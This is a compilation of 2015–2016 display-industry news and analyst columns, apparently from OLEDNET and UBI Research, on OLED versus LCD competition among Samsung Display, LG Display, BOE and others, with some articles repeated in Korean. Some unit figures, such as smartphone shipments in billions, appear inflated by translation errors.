Foxconn, recently confirmed to buy 66% of Sharp’s stake for $ 3.5 billion, is estimated to actively invest in improving Sharp’s panel competitiveness against Samsung Display and LG Display.

DigiTimes recently reported their research indicates Sharp’s large size panel yield will occupy 5.3% of global market in Q4 2016. This places the company on the 7th place after Samsung Display, LG Display, Innolux, AUO, BOE, and CSOT.

However, Sharp and Innolux are under Hon Hai Precision (Foxconn Technology). If the Q4 2016 large size panel yield of Sharp and Innolux are combined, the global occupancy is added to 21.9%. This is approximately the same level as Samsung Display (23.7%) and LG Display (22.7%).

Foxconn is analyzed to be investing in Sharp mainly with focus on OLED. According to a recent DigiTimes article, Foxconn is planning to invest approximately US$ 1.8 billion in OLED development.

DigiTimes estimates that Foxconn will actively begin mass production of OLED for smartphone from 2018, and expand the production to large and medium-sized OLED panel for TV, notebook, etc. Foxconn is forecast to begin shipment of OLED for TV from 2021, and annually ship 7,200,000 units of OLED panel for TV in 2025.

Zhaohong Zhang, BOE’s CEO, “Will Become 8K TV Market Pioneer”

BOE’s CEO Emphasized They Will Lead 8K TV Market(Tokyo=OLEDNET)

Hyunjoo Kang / Reporter / jjoo@olednet.com

China’s TFT-LCD company, BOE, revealed ambition that it will lead the 8K market within the TV sector.

At the Technical Conference of FineTech Japan 2016 (April 6-8), BOE’s CEO Zhaohong Zhang gave a keynote speech titled Strategy of Adaptation and Innovation, and emphasized that the large size TV will notably grow, and BOE will lead the large size 8K TV market.

Zhang explained that he believes the enlargement will become the growth engine for the global display market. Accordingly, he estimates that the enlargement of monitor and TV among others will spread. He added that the display market will find it difficult to grow rapidly, and the display will become larger and mobile products of FHD 400 ppi or higher and TV products of UHD 4K or higher will expand.

Zhang emphasized that BOE became the victor by earning market opportunity through scale and value innovation, affirming the determination to lead the large size TV market. In terms of BOE’s innovation directions, Zhang suggested several keywords including ▲Picture ▲Power ▲Health ▲Price ▲Panel and ▲Pilot.

In particular, BOE’s policy is to make a winning move in large size display sector. Within the smartphone and tablet sectors, Zhang plans to place UHD 4K display at the front, and lead the 8K era within TV sector. He further emphasized that with the forecast of rapid growth of large size 8K TV market from 2018, BOE will become the pioneer in 8K technology and product. In future, BOE is planning to apply 8K to all panel series for TV.

Additionally, Zhang’s strategy includes low energy consumption actualization through backplane TFT semiconductor and high aperture ratio technology. Furthermore, he stressed that by developing display that lowers eye fatigue and corrects color, BOE is considering viewer’s health too. He revealed that in order to enter the new application sectors such as automotive, medical, AR, and VR, BOE will carry out development on high resolution, touch module, flexible panel, etc.

FineTech Japan 2016 (April 6-8) is a display technology related exhibition held in Tokyo Big Sight. The 26th annual event is participated by approximately 260 companies including Samsung Display, BOE, and Japan Display.

“Can’t Cope Because of LCD”… Samsung·LG, in Despair over Large Deficit

Hyunjoo Kang / OLEDNET / jjoo@olednet.com

 

<CES 2016 Exhibition. Many Chinese Companies’ LCD TV Were Present.>

Due to the oversupply of LCD panel in global display market, the opinion that Samsung Display and LG Display will also not be able to avoid large amount of deficit is becoming stronger.

 

As of March 28, according to market experts including securities industry, Samsung Display and LG display will both face sizable deficit in LCD sector this quarter.

 

For Samsung Display, Q1 LCD sector is expected to record up to 900,000 million KRW. The company is estimated to reduce the overall display industry deficit with the OLED profit of approximately 400,000 million – 500,000 million KRW. Consequently, Samsung Display is to record approximately 400,000 million – 500,000 million KRW of deficit in Q1 2016.

 

LG Display, whose over 90% of the current production line is for LCD, is estimated to be hit more directly. LG Display has been showing profit in LCD until 2015, but is expected to turn to deficit in Q1 2016. LG Display has been showing deficit in OLED, and market experts are also expecting more deficit in Q1 2016.

 

◆ Unlike Samsung and LG’s High Quality, China Floods Cheaper LCD

The main reasons that display industry is having difficulty include oversupply of Chinese LCD, and overall market depression. Chinese companies’ affordable LCD supply, backed by active support of Chinese government, is damaging Korean companies.

 

Particularly, companies such as BOE, which greatly improved productivity with much assistance from Chinese government including corporate tax exemption, have been pressuring Samsung, LG, and others in the global LCD market. As the Chinese companies are still aggressively investing in LCD facilities, the LCD oversupply is analyzed to continue until 2018.

 

Accordingly, the majority of the industry believe that both Samsung Display and LG Display will carry out LCD production line restructuring. In a recent conference hosted by information company IHS, senior analyst Jeong Du Kang revealed that LG Display could restructure Gumi’s P2, 3, 4 production lines, and added that some thinks L6 production could stop following the same of L5 production line last year.

 

As expected, both companies do not officially comment on these forecast. However, most of the industry players believe that the production line changes of the 2 companies are inevitable.

 

One display expert explained that “unlike Samsung and LG which do not accept even small faults, Chinese companies are pouring out products with slightly lesser quality armed with lower price, and will dominate the mainstream market”.

 

He also estimated that as Samsung and LG are nearing the situation where they have to give up LCD, the speed of which OLED will settle as the main player within the global display market will increase.

Can Transparent OLED Be OLED Industry’s New Growth Engine?

According to Transparent OLED Display Report 2016, published by UBI Research, large area transparent AMOLED market is expected to record approximately US$ 5,300 million by 2020.

 

UBI Research revealed that “transparent OLED, with its high transmittance, is likely to be applied to transparent advertisement display such as showcases that has to properly actualize what is behind the display. Also, as the viewing angle is wide and color gamut and visibility are high, it will be widely used as transportation display such as automotive”. Furthermore, UBI Research added that as it is easy to produce flexible product and can be utilized in diverse applications that will be newly designed, market potential is very high.

 

Transparent display is a display that can recognize/process/communicate information via optically transparent display using transparent electronic device. This is a device that is ordinarily transparent as glass and functions as monitor or TV as needed. As the area where the information is shown is transparent and objects behind the display can be seen, spatial/visual limitation can be overcome and diverse application and expansion of existing display market can be anticipated. Particularly, transparent OLED’s transmittance is approximately twice as high as transparent LCD (using the recently release panel), and simple to bend. As such, key panel companies are inclined to actively develop transparent OLED.

 

In 2015, Samsung Display revealed world’s first 55 inch FHD transparent OLED with 45% transmittance and plan to mass produce from 2016. LG Display is also developing transparent OLED through project titled “60 inch or larger UD level transparent flexible display with transmittance of 40% or higher” that began in 2012. China’s BOE presented 9.55 inch transparent flexible OLED panel with 30% transmittance in SID 2015 and is actively carrying out research.

 

From these companies’ transparent OLED development, transparent OLED is anticipated to play a big role in future display market expansion.

Large Area AMOLED Market Forecast

Looking Ahead to 2016 OLED Industry through Keywords

  1. Flexible AMOLED Investment

In 2016, flexible AMOLED mass production line investment is expected to be actively carried out by Samsung Display, LG Display, BOE, and Japan Display. For Samsung Display to apply flexible AMOLED panel to the new Galaxy model, the mass production line investment is necessary. If they supply flexible AMOLED panel to Apple, volume of the flexible AMOLED mass production to be invested in 2016 is estimated to be grow significantly. LG Display also is expected to actively carry out flexible AMOLED line manufacturing equipment order for Gumi’s P6 line, as well as additional flexible AMOLED mass production line investment following Apple’s demand. BOE is estimated to seriously begin orders for Chengdu’s Gen6 45K flexible AMOLED mass production line.

 

  1. P10

With the announcement of new factory establishment and 1.84 billion KRW investment for part of facilities in Q4 2015, as the first step of the investment, LG Display began site construction for P10 line factory that can produce large area panel. However, the investment direction has not yet been decided. P10 could be directed to only producing large area LCD panel, large area OLED panel, small-to-medium size OLED panel, or large area and small-to-medium size OLED panel simultaneously. China’s Gen8 LCD facilities investment is quite advanced and BOE’s Gen10.5 LCD line investment has also been confirmed. As such how much LG Display’s large area LCD can bring profit has to be carefully considered. Additionally, with the increase of OLED TV consumption and the supply of OLED panel to Apple practically confirmed, OLED investment is essential. P10, Gen11 line, is the world’s largest factory site, and depending on the investment direction in 2016, it is estimated to affect OLED market’s opening time.

 

  1. Chinese OLED

Everdisplay is supplying AMOLED panel to some several Chinese set companies, and Visionox is also expected to actively supply AMOLED panel from 2016. As such, most of Chinese OLED panel companies’ OLED mass production preparation is anticipated to conclude in 2016. Accordingly, second investment by companies including Everdisplay, Visionox, and Tianma is analyzed to be possible and serious movement by China’s OLED industry could occur.

 

  1. Evaporation Equipment

Flexible AMOLED mass production line investment by Samsung Display, LG Display, Japan Display, and BOE, and other Chinese OLED panel companies’ additional installation are expected to be actively carried out from 2016. Amidst this, order of evaporation equipment, OLED production’s essential component, is expected to be an issue.

 

Evaporation equipment currently being used in mass production is mostly Japanese Canon Tokki’s. As this evaporation equipment has been verified in mass production, it is estimated that most companies, including Samsung Display, LG Display, BOE, and JDI, will want to order Canon Tokki’s evaporation equipment. However, as the production capa. of Canon Tokki’s evaporation equipment is limited, the issue is expected to be which panel company will be able to order early. At the same time, this could be a new opportunity for Korean evaporation equipment companies.

 

  1. Samsung OLED TV

At present, the TV industry trend is moving to OLED from LCD. Accordingly, Samsung Display is continuing research to resume their large area OLED for TV panel business. It is analyzed that Samsung Display possesses RGB OLED technology that uses SMS evaporation method, white OLED, and solution process OLED technology. However, as each technology has its drawbacks, they are carefully considering future directions. First, RGB OLED technology is estimated to lack Gen8 mother glass substrate evaporation equipment at present. Solution process OLED method has low material performance. For white OLED, as the key patents are owned by LG Display, technology that avoids these has to be first developed. Therefore, much attention is focused on which technology Samsung Display will use and invest in production line to enter the TV market.

[Analyst Column] LCD Industry Administration to Worsen after 3 Years

Choong Hoon Yi, Chief Analyst, UBI Research

 

 

BOE is intending to carry out a large amount of investment in order to operate Gen10.5 LCD line from 2018. Meanwhile, key set makers including Apple, Samsung Electronics, LG Electronics, and Panasonic are devising strategy to move from LCD to OLED for smartphone and premium TV displays. As such, it is becoming more likely for the LCD industry to be in slump from 2018.

 

At present, the area where LCD industry can create profit is LTPS-LCD for smartphone. The forecast smartphone market for this year is approximately 15 billion units. Of this, Samsung Electronics and Apple are occupying 20% and 15% of the market respectively. OLED equipped units are less than 2 billion.

 

However, from 2018 the conditions change greatly. Firstly, Apple, which has been using LCD panel only, is estimated to change approximately 40% of the display to OLED from 2017 earliest and 2018 latest. Apple is testing flexible OLED panels of JDI, LG Display, and Samsung Display, and recommending them to invest so flexible OLED can be applied to iPhone from 2017. The total capa. Is 60K at Gen6. As new investments for Gen6 line of Samsung Display and LG Display are expected to be carried out from 2016, supply is theoretically possible from 2017.

 

Source: UBI Research Database

Source: UBI Research Database

 

If 5inch flexible OLED is produced from Gen6 line, under the assumption of 50% yield at 60K capa. 65 million units can be produced annually, and approximately 1 billion units if the yield is 80%. If Apple’s iPhone shipment in 2017 is estimated to be around 2.7 billion units, within the 50-60% yield range approximately 25% of the display is changed to OLED from LCD, and if yield reaches 80% around 40% will change. The companies that are supplying Apple with LCD for smartphone, LG Display, JDI, and Sharp, are expected to show considerable fall in sales and business. These 3 companies could be reduced to deficit financial structure just from Apple’s display change

 

Furthermore, as Apple is not producing low-priced phones, under the assumption that future iPhone could all have OLED display, Apple could cause the mobile device LCD industry to stumble after 3 years.

 

Samsung Electronics also is gradually changing Galaxy series display to OLED from LCD. Of the forecast 2015 shipment of 3 billion units, 50%, 1.5 billion units, has OLED display, but Samsung Electronics is expected to increase flexible OLED and rigid OLED equipped products in future. Particularly, as Apple is pushing for flexible OLED application from 2017, Samsung Electronics, whose utilizing OLED as the main force, is estimated to increase flexible OLED usage more than Apple. It is estimated that all Galaxy series product displays will be changed to OLED from 2019.

 

 

Under these assumptions, of the estimated smartphone market in 2020 of approximately 20 billion units, Samsung Electronics and Apple’s forecast markets’ 7 billion could be considered to use OLED.

 

Samsung Display is strengthening supply chain of set companies using their OLED panels. Samsung Display is supplying OLED panels to diverse companies such as Motorola and Huawei as well as Samsung Electronics, and also expected to supply rapidly rising Xiaomi from 2016. If smartphone display is swiftly changed to OLED from LCD from 2017, Chinese display companies that are currently expanding TFT-LCD lines are to be adversely affected.

 

Additionally, in the premium TV market, LG Electronics mentioned that they will focus on OLED TV industry at this year’s IFA2015. As a part of this, LG Display is planning to expand the current Gen8 34K to 60K by the end of next year. Furthermore, in order to respond to the 65inch market, Gen9.5 line investment is in consideration. In the early 2015, Panasonic commented that they were to withdraw from TV business but changed strategy with new plans of placing OLED TV on the market in Japan and Europe from next year.

 

As Samsung can no longer be disconnected from the OLED TV business, there are reports of investment for Gen8 OLED for TV line in 2016. Although OLED TV market is estimated to be approximately 350 thousand units this year, in 2016, when Panasonic joins in, it is expected to expand to 1.2 million units. The OLED TV’s market share in ≥55inch TV market is estimated to be only 4% but in premium TV market it is estimated to be significant value of ≥10%.

 

 

 

 

If Samsung Display invests in Gen8 OLED for TV line in 2016, from H2 2017 supply to Samsung Electronics is possible. As OLED Gen8 line’s minimum investment has to be over 60K to break even, it can be estimated that Samsung Display will invest at least 60K continuously in future.

 

Under these conditions, LCD industry can only be in crisis. Firstly, it becomes difficult for Sharp to last. Sharp, which is supplying TFT-LCD for Apple’s iPhones and LCD for Samsung Electronics’ TV, will lose key customers. Secondly, BOE, AUO, and JDI, the companies selling LCD panels to these companies, are not ready to produce OLED and therefore damage is inevitable.

 

BOE is carrying out aggressive investment with plans to lead the display industry in future with operation of Gen10.5 LCD line. Therefore, from 2018, as the main cash cow items disappear, administration pressure could increase.

 

[2015 OLED Evaluation Seminar] Can LG Display and Samsung Display Become OLED Market’s Rule Maker?

By Hyun Jun Jang

 

At 2015 OLED Evaluation Seminar (December 4) hosted by UBI Research, UBI Research’s president Choong Hoon Yi gave a talk titled AMOLED Panel Industry Trend and Market Forecast discussing OLED industry until 2015 and forecasting 2016 OLED market.

 

Yi presented 2 issues related to flexible OLED. The first issues he discussed was regarding foldable types in foldable display. Yi explained that in-folding is where display is placed inside and out-folding has display on the outside, and revealed that in-folding type is mainly being developed. He also added that these technologies will be useful in FinTech (financial technology: new form of financial technology using mobile, social network, big data, etc.).

 

According to Yi, another issue for flexible display is film application. In order to increase the yield of flexible display, film has to replace cover glass. However, this could lead to unpleasant touch sensation and Yi emphasized technology such as polishing has to be applied to improve this to convince the consumers.

 

Regarding the market, Yi estimated that the total global smartphone market will grow to record approximately 2,000 million units until 2020, with Samsung Electronics’ 400 million units. He also estimated that the OLED display proportion of Samsung’s Galaxy series will continue to increase and that most of Galaxy products will have AMOLED panel in 2019. Of this, Yi announced that flexible OLED and rigid OLED are to record approximately 280 million units and 120 million units respectively. He also forecast that the OLED TV market will grow into approximately 11 million units and that materials and equipment companies will rapidly grow.

 

At present, the display market is entering low growth state, and companies are focusing on strengthening the market competitiveness through new technology development and production potential increase. Samsung Display is actively striving to increase OLED panel’s supply for external companies. LG Display announced 1.84 billion KRW investment for world’s largest OLED focused P10 factory and other areas.

 

Yi reported that as flexible OLED evolves, the mobile display resolution competition of the present will disappear, and he estimated that as LTPS-LCD market decreases, the sales of related panel companies, such as BOE, Sharp, JDI, and LGD, will diminish.

 

Yi also told the audience that he is expecting Samsung Electronics to put OLED TV on the market from 2018 and the sales of the companies, Sharp, AUO, and CSOT, that were supplying them with LCD panels will fall. Essentially, he explained that as the OLED market grows, LCD dealing companies’ position will weaken which will lead to the strengthening of OLED panel production and related companies’ position.

 

When asked about the future of Korean display panel companies, Yi replied that when LCD and OLED are competing, set companies decides the market. However, if OLED can unite the market, Yi emphasized that the display panel will be rebranded as Rule Maker and LG Display and Samsung Display will be in its center.

 

 

Korea’s Survival Hangs on OLED; Government Support is Urgently Needed

The last 5 years of budget for Korean semiconductor, which is a key industry for the nation, and display related industry’s original technology development expenses was researched and analyzed.

 

Electronic information device sector’s expenses can be categorized into semiconductor, display, LED/lighting, and evaluation maintenance fee.

 
In 2011, 130,000 million KRW was provided as technology development expense, but since then the amount annually decreased. In 2015, the amount was 95,000 million KRW, but in 2016, it is estimated to decrease further 42% and only 55,000 million KRW is expected to be provided.

 

weekly focus 1

 

weekly focus 2

 

weekly focus 3

 

 

Semiconductor funding for 2015 occupies 58% of the total budget with 54,800 million KRW. Although that amount will be reduced to 35,600 million KRW in 2016, it is expected to occupy 65% of the total funding.

 

For display section, the 2015 funding is only 19,500 million KRW, a 21% of the total budge. In 2016, this is estimated to fall to 17%.

 

The government funding for display sector, which is the core of Korean electronic information industry, is around the same level as LED/Lighting sector.

 

The rapid reduction of government funding for display industry is expected to cause much difficulty in future display business.

 

weekly focus 4

 

 

The Korean display panel market that is being maintained by 2 companies, Samsung Display and LG Display, recorded 62 billion KRW in 2012. However, it fell to 52 billion KRW in 2014, and the market power is gradually weakening. As Chinese companies are becoming more active in LCD market, Korean companies’ price competitiveness is waning in low-priced panel market.

 

If BOE’s Gen10.5 line begins operation in 2018, Korean display companies’ market power is analyzed to rapidly fall in LCD market. In order for the Korean display business to take-off again, now is the time for the government to fund OLED panel which has high added value.

Solution Process Panel, Cheaper To Produce than LCD

According to 2015 Solution Process OLED Report, published by UBI Research on October 14, solution process technology could produce 55inch OLED panel at approximately 43% cheaper cost compared to WRGB method.

 

The report added that this value is the result of analysis of 2015 Q2 55inch UHD OLED panel price and yield, which is slightly higher than current production price of 55inch UHD LCD panel. However, considering that the solution process OLED structure will become simplified and that yield of backplane and encapsulation can be improved, the OLED panels will be able to be produced at lower cost than LCD panel. The report also revealed that solution process OLED can be an alternative solution for large area OLED panel in achieving price competitiveness.

 

Solution process is a technology that can produce large area RGB pixel OLED panel using Gen8, or higher, equipment without cutting the mother glass. Key AMOLED panel companies are active in developing this technology.

 

However, as solvent is used in order to turn the existing evaporation material into ink, its purity is decreased leading to lower emitting efficiency and therefore lower lifetime. Despite these factors, key panel companies’ enthusiasm for solution process technology is due to the high emitting material usage efficiency without using color filter, and simple structure compared to WRGB OLED panel which leads to production cost decrease.

 

Panasonic has been most active in developing solution process applied OLED panel, and has presented several times in CES and IFA. BOE and AUO also have revealed solution process OLED panel produced via ink-jet manufacturing equipment, and CSOT is considering solution process development. Samsung Display and LG Display, leaders of AMOLED industry, are also actively developing the technology. LG Display has adopted Gen8 ink-jet manufacturing equipment, and Samsung Display has started solution process OLED panel development with a focus on ink-jet manufacturing equipment companies.

 

Material and manufacturing equipment companies as well as panel companies are leading the solution process technology development and commercialization. Kateeva agreed on technology collaboration with Sumitomo Chem. while Merck did the same with Seiko Epson. DuPont recently revealed that they enlarged solution process OLED material production facilities and began operation.

 

Following these participation by key panel, material, and manufacturing equipment companies in solution process technology development and commercialization, it is anticipated that the solution process OLED panel market will record rapid growth.

 

UBI Research’s 2015 Solution Process OLED Report forecast that solution process OLED panel market will actively begin mass production from 2018 and show approximately US$ 2,329 million in 2020.

 

Solution process OLED panel수정2

[Analyst Column] Korean Display Industry Is On Descent

Dr Choong Hoon Yi, UBI Research Chief Analyst, ubiyi@ubiresearch.co.kr

 

The analysis of 2015 2Q results of Samsung Display and LG Display shows clear indication that Korean display industry is on descent.

 

[2015 Q2 Korean Display Total Sales Analysis]

According to the results announcement of the 2 companies, the total of 2015 Q2 sales is approximately US$ 11,000,000,000. Compared to the total sales in 2013 Q2 which was US$ 13,000,000,000, Korean display industry trend is exhibiting clear downward tendency.

0812 graph1

 

2015 Q2 Korean display sales records -4% QoQ, and 8% YoY.

0812 graph2

 

 

The main reason for the decrease in sales is Samsung Display’s deterioration of earnings results. While LG Display’s sales of the past 3 years remain fairly consistent but Samsung Display’s sales is gradually decreasing.

0812 graph3

 

 

 

[2015 Q2 Korean Display Total Business Profit Analysis]

Connecting the high points of the total of 2 companies’ business profit reveal that the business value is worsening as the trend moves downward. This also is much contributed to Samsung Display’s business profit decrease.

0812 graph4

 

 

[Samsung Display and LG Display Sales Analysis]

According to the earnings announcement of both companies, Samsung Display and LG Display recorded sales of approximately US$ 5,500,000,000 and US$ 5,600,000,000 respectively. LG Display is maintaining higher sales results compared to Samsung Display for the past 5 quarters. Each company’s QoQ showed to be -4% (LGD) and -3% (SDC) and YoY to be 12% (LGD) and 5% (SDC). The simultaneous decrease of QoQ sales of both companies demonstrates that the Q3 sales could also fall.

 

0812 graph5

 

0812 graph6

 

 

 

[Samsung Display and LG Display’s Competitiveness Analysis]

Looking at the profit/sales graph of Samsung Display and LG Display, it is apparent that Samsung Display showed superior competitiveness until 2013 Q3, but since then LG Display averaged higher.

그래프7

 

 

 

[Conclusion]

The reason for the downward trend of Korean display industry is analyzed to be the fall of display panel price due to the Chinse display companies’ mass production through aggressive investment. Particularly, in or after 2017 when China’s BOE is estimated to begin Gen10.5 LCD line, LCD panel price will fall even more rapidly. This is forecast to lead Korean LCD industry to suddenly lose competitiveness. For Korean display companies that have immense LCD sales to show positive growth, it is time to expand OLED business that can be differentiated from Chinse display companies.

 

The only solutions for Korean display industry are OLED investment in large scale and conversion of LCD line to OLED line. At the time of BOE’s Gen10.5 line operation, Korean display companies also should respond with Gen6 flexible OLED investment and early establishment of Gen8 OLED line.

 

China’s Gen10.5 Investment, Korean Display Companies’ Countermeasure?

At the 10th National Research Development Industry General Workshop in Display (8-10 July) in Muju, South Korea, industry-academy experts gathered and held a discussion on the future display strategy under the heading ‘Korean Display Industry Crisis, What is the Solution?’.

 

At the previous keynote speech, vice president of LG Display, Yoon Sooyoung explained that the key points for the third revolution will be design innovation, design freedom differentiated though real image, and picture quality that can closely resemble visual reality. He also added that the third display is OLED that can actualize various advantages such as transparency, flexibility, and high picture quality at once, and considering material/component and mass production technology status, OLED will also be able to achieve competitive prices soon.

 

Samsung Display’s executive director Hye Yong Chu forecast next generation display will be smart display, human friendly, holographic, and disruptive innovation. Particularly she estimated that thorough size and design innovation, flexible display will be able to create new application and market and that flexible OLED will form the core.

 

The shared opinion of Samsung Display and LG Display, key Korean display companies, at the keynote session was Korean display industry’s need to lead the next generation display market in order to prepare for China’s pursuit and requirement of active participation and cooperation from industry-academy to achieve this.

 

During the panel discussion that followed the keynote session, many different opinions were suggested regarding Korean display industry status from academy-industry. Of China’s BOE’s Gen10.5 investment, Samsung Display’s Chu disclosed that investment at the right moment was more important than preemptive investment; the focus will be curved and edge display market expansion and widening the technology gap with latecomers, and investment will be carefully considered before making a decision. LG Display’s Yoon also explained that areas where cost innovation are possible are limited even with investment is carried out as the current display market is different from previous ones. He added that Gen10.5 investment has to be deliberated and emphasized that focus should be on how to make OLED competitive.

 

Against the China’s aggressive investment on Gen8 or higher, Samsung Display and LG Display’s positions are analyzed to be of same opinion of carefully considering investment while pioneering the market maximizing the existing technology prowess.

 

미래 디스플레이 전략 대토론회

 

Korea, China, and Japan’s OLED TV Alliance to Boost the Market

Korean companies had been leading the OLED TV industry. Before SID 2015 (31 May – 5 June), LG Display and Samsung Display had been the only companies to reveal 4K OLED panels, and until now, LG Electronics has been the only company to sell 4K OLED TV in large quantity. In terms of OLED TV market, despite OLED’s superior characteristics compared to LCD regarding contrast ratio, high viewing angle, fast response time, and thinness, the market share has been limited mostly due to its relative high price. However, this is expected to change soon.

 

LG Electronics has been pushing for OLED TV alliance and corporation with Chinese and Japanese companies. As a result, Chinese and Japanese companies resolved to jump into OLED TV market from the second half of 2015. Japan’s Panasonic and Sony are expected to release OLED TV for the first time later this year. China’s Skyworth, Changhong, Konka, and Hisense are expected begin sales from this fall.

 

Consequently, the number of set companies producing 4K OLED TVs will increase to 7 by the end of 2015. LG Display, the only company that can mass produce OLED panel with 4K resolution, is planning to increase production by 4 times this summer to supply these new to OLED TV set companies.

 

As mentioned above, until SID 2015, LG Display and Samsung Display had been the only companies which showed 4K OLED panels, and with LG Display being the sole company able to mass produce 4K OLED panels. However, in SID 2015, AUO showed their own 4K OLED panel during an author interview session, and CSOT and BOE presented paper on 4K resolution OLED panel. This signifies they possess technology needed for OLED panel production, and with proper investment they can begin mass production.

 

Soon LG Display will no longer be the lone supplier of OLED panels contributing toward increase in shipment of OLED panels and OLED TVs. This will naturally lead to lower cost for consumers and energize OLED TV market.

 

auo1

한국과, 중국, 일본의 OLED TV 동맹, OLED TV 시장 본격 개화

OLED TV 산업은 지금까지 한국 기업들이 이끌어 왔다. 미국 산호세에서 열린 SID 2015 (5/31~6/5) 전까지는 LG디스플레이와 삼성디스플레이가 4K OLED 패널을 공개한 유일한 패널업체였고, 현재까지 OLED TV를 대량으로 판매하는 업체는 LG전자가 유일하다. 그 동안, TV 시장에서는 OLED가 LCD보다 명암비와, 시야각, 응답속도, 두께에 관하여 우월하나 비교적 높은 가격으로 인해 시장점유율이 제한되었다. 하지만, 이제 이는 곧 달라질 것으로 예상된다.

그 동안, LG전자는 OLED TV 동맹으로 중국, 일본 업체들과의 협력을 추진해 왔다. 그 결과 중국과 일본 업체들은 2015년 하반기부터 OLED TV 시장에 뛰어들기로 하였다. 일본의 파나소닉과 소니는 올해 하반기에 OLED TV를 처음으로 출시할 예정이며, 중국의 스카이워스와, 창훙, 콩카, 하이센스는 이번 가을부터 판매를 시작할 계획이다.

결과적으로 2015년 말까지 4K OLED TV를 생산하는 세트업체는 7개로 늘어난다. 4K 해상도의 OLED 패널을 대량 생산할 수 있는 유일한 업체인 LG디스플레이는 OLED TV 생산을 시작하는 세트업체들에 공급하기 위해 올 여름 생산량을 4배 증가시킬 예정이다.

위 언급한 내용과 같이, SID 2015까지 4K OLED 패널을 공개한 업체는 LG디스플레이와 삼성디스플레이가 유일했고, 이 두 업체 중 LG디스플레이만이 4K OLED 패널을 대량 생산 할 수 있다. OLED TV를 생산할 세트업체는 늘어나고 있지만 패널 공급업체는 LG디스플레이 한 곳으로서 장기적으로 봤을 때 추가적인 공급업체가 더 필요할 것으로 예상된다.

이번 SID 2015에서 AUO는 author interview 시간에 4K OLED 패널을 선보였고, CSOT와 BOE는 4K OLED 패널 관련 논문을 발표했다. 이는 AUO와 CSOT, BOE가 OLED 패널 제작에 필요한 기술을 보유하고 있다는 것을 나타내고 있으며, 적절한 시기에 투자가 이루어진다면 대량생산을 시작할 수 있다는 것을 의미한다.

따라서 앞으로 증가할 것으로 예상되는 OLED TV 수요에 맞춰 LG디스플레이뿐 아니라 후발 업체들 또한 OLED TV용 패널을 양산할 것으로 기대되어 OLED 패널과 OLED TV 출하량 증가에 기여할 것으로 전망된다. 이러한 발전은 소비자에게는 낮은 가격으로 연결될 것이고 OLED TV 시장은 활성화 될 것이다.auo1

[SID 2015] Chinese LCD’s Continuous Evolution. OLED, What To Do?

LCD technology of Chinese companies is continually evolving. In SID 2015, BOE exhibited world’s largest 110inch 8K and world’s first 82inch 10K LCD panels. CSOT drew much attention with its world’s largest 110inch UHD curved LCD TV. By exhibiting ultra high resolution and large size LCD panel ahead of Korean and Japanese panel companies, CSOT aptly demonstrated that Chinese companies have caught up to Korean and Japanese technology skills.

BOE presented NTSC 99% 27inch QHD LCD panel, and CSOT showed NTSC 118% 55inch UHD LCD panel. Particularly, CSOT exhibited 4mm thick 32inch FHD LCD TV and 5.5 mm thick 4K curved LCD panel; this showed that LCD is able to catch up to OLED’s thinness and color gamut advantages. Thus, with LCD’s continuous new technology development and price competitiveness, LCD and OLED’s leadership competition will once again heat up in next generation display’

The current large area TV market is led by LCD and OLED is slowly expanding the market starting with premium TV. Even in premium market, with price competitiveness LCD is one step ahead with QD film applied LCD TV. Therefore, the technology development of LCD that is catching up to OLED’s advantages is expected to be a hurdle for OLED’s market opening.

Although LCD’s color gamut, thickness, contrast ratio, and response time is being continually improved and can approach to OLED’s level but cannot be equal to OLED in all areas. For example, if the thickness is reduced in LCD, the QD film application needed for increased color gamut is difficult. Even if panel with many positive traits altogether is developed, it is expected to take much time giving OLED chance to drop the price to LCD level. Therefore, reducing OLED panel’s price by OLED’s active investment and yield achievement is analyzed to be an essential condition for next generation display leadership.

[SID 2015] 중국 LCD의 거침없는 발전, OLED 어떡하나?

중국업체의 LCD의 기술력이 날로 발전하고 있다. 이번 SID 2015에서 BOE는 world largest 110inch 8K와 world first 82inch 10K 해상도의 LCD panel을 전시하였으며, CSOT는 world largest 110inch UHD curved LCD TV를 메인에 전시하여 관람객들의 큰 이목을 끌었다. 이는 한국과 일본 panel 업체들보다 한발 앞서 초고해상도와 대면적 LCD panel을 전시함으로써 더 이상 중국이 한국과 일본의 기술력을 충분히 따라잡았다는 것을 보여주기 충분했다.

또한 BOE는 색재현률 99%의 27inch QHD LCD panel을, CSOT는 118% 색재현률의 55inch UHD LCD panel을 전시하였으며 특히 CSOT는 4mm두께의 32inch FHD LCD TV와 5.5mm 두께의 4K curved LCD panel을 전시하여 OLED의 장점인 색재현율과 얇은 두께까지 LCD로서 따라잡을 수 있다는 것을 보여주었다. 이와 같이 LCD의 지속적인 신기술 개발과 가격경쟁력을 바탕으로 차세대 디스플레이를 놓고 OLED와의 주도권 싸움이 다시 한번 치열해 질 것으로 예상된다.

현재 대면적 TV 시장은 LCD가 주도하고 있으며 OLED가 서서히 프리미엄 TV 시장부터 시장을 확대해 나가고 있다. 프리미엄 시장에서도 LCD가 가격경쟁력을 바탕으로 QD film을 적용한 LCD TV로서 한발 앞서나가고 있는 상황이다. 따라서 이러한 LCD의 OLED의 장점을 따라잡는 개발이 앞으로의 OLED의 시장 개화에 걸림돌이 될 수 있을 것으로 예상된다.

LCD는 색재현율과 두께, 명암비, 응답속도 등이 지속적으로 개선되고 OLED와 근접한 수준까지 개발될 수는 있지만 모든 면에서 OLED와 같을 수는 없다. 예를 들어 두께를 줄이게 되면 색재현율을 높이기 위해 QD film을 적용하기가 어렵다. 여러 장점이 동시에 개선된 panel이 개발된다 하더라고 많은 시간이 소요될 것으로 예상되며, 그 전에 먼저 OLED의 가격이 LCD 수준으로 낮아질 것으로 전망된다. 따라서 OLED의 적극적인 투자와 수율 확보로 panel 가격을 낮추는 것이 차세대 디스플레이시장을 주도하기 위한 필수 조건으로 판단된다.

Chinese Panel Company, Reborn as Center of Mobile Device Display Market?

Truly’s OLED panel mass production is smoothly being carried out. According to OFweek, Zhang Jintao (Senior Manager of Truly) revealed on May 20 that ‘the construction of Phase I of the company’s AMOLED production plant will be completed in June, and the equipment will be installed in October’. He also added that the production line will begin operation in the first quarter of 2016 after passing through tests.

 

Truly’s AMOLED project was approved by EIA (Energy Information Administration) in May 2014, and began line construction in July. The investment cost is approximately 63,000,000 yuan. For mass production, Truly purchased Samsung Display Gen4.5 line’s LTPS equipment, and ordered SFA’s evaporator. The total area of mass production line is 310,000m2, and total capa. is 30K.

 

Mobile device AMOLED panel companies in China are Visionox, EverDisplay, Tianma, Truly, and BOE. Visionox and EverDisplay are in the process of mass production using evaporators of SNU Precision and ULVA respectively, and supplying panels to several companies. Tianma and BOE are aiming for mass production in the second quarter of 2015.

 

